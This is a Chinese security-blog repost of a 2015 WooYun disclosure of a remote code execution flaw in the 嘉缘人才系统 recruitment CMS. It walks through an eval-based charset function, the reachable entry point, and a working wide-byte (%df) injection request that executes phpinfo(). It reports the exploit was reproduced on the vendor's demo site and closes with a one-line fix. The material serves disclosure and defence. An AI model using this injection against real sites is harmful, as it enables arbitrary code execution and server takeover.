记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

嘉缘人才系统最新版命令执行getshell(官方网站重现可执行任意代码)

2015-09-12 01:35

漏洞出现在frcms/inc/common.inc.php

code 区域
function gbktoutf8($str=''){

global $cfg;

if($cfg['charset']=='gbk'){

return eval('return '.iconv('gbk','utf-8',var_export($str,true)).';');

//return @iconv('gbk', 'utf-8', $str);

}else{

return $str;

}

}



这个函数用到了eval将字符编码从gbk转为utf8,若$str可控,就可以构造出命令执行漏洞。



全局搜索代码,终于找到了一个利用的点: /member/company_map.php

代码如下:

code 区域
if($do=='savemap'){

$map = preg_replace("/[^0-9,:\.-]/i",'',$map);

if($map==''){

showmsg('请先在地图上标注!',"-1",0,2000);exit();

}else{

$mapid=0;

$maps=explode(':',$map);

if(count($maps)>1){

$mapss=explode(',',$maps[1]);

}else{

showmsg('地图坐标数据异常!',"-1",0,2000);exit();

}

$post_data = array('title' => $name,'address' => $address,'ak' => $cfg['baiduak'],'latitude' => trim($mapss[1]),'longitude' => trim($mapss[0]),'coord_type' => 3,'geotable_id' => $cfg['geotable_id']);

require_once(FR_ROOT.'/inc/map.inc.php');

$bmap=new baidu_map();

if($rs=$db->get_one("select * from {$cfg['tb_pre']}member_map where m_mid=$Memberid")){

//修改坐标

$post_data['id']=$rs['m_mapid'];

$mapresult=json_decode(!$rs['m_mapid']?$bmap->create_poi(gbktoutf8($post_data)):$bmap->update_poi(gbktoutf8($post_data)),true);

if($mapresult['status']==0){

$mapid=$mapresult['id'];





$mapresult=json_decode(!$rs['m_mapid']?$bmap->create_poi(gbktoutf8($post_data)):$bmap->update_poi(gbktoutf8($post_data)),true);

这里直接把$post_data带入了gbktoutf8函数中,从代码中可以看到,$post_data是由其他几个参数构成的一个数组。由于这套cms有一个类似全局注册变量的机制,所以我们可以控制这些参数。这里我们可以控制$name来构造命令执行,由于全局开了转义,默认GBK编码,可以通过宽字节%df把转义符吃掉。

我们注册一个企业账户

code 区域
post请求 http://localhost/frcms/member/?m=company_map&do=savemap&map=2:1  

data: name=a%df'.phpinfo(), %23





漏洞证明:

这里以官方demo站为例

1.png



2.png

修复方案:

不用eval来拼接gbktoutf8

知识来源: www.wooyun.org/bugs/wooyun-2015-0119192

阅读:119236 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“嘉缘人才系统最新版命令执行getshell(官方网站重现可执行任意代码)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云

本页关键词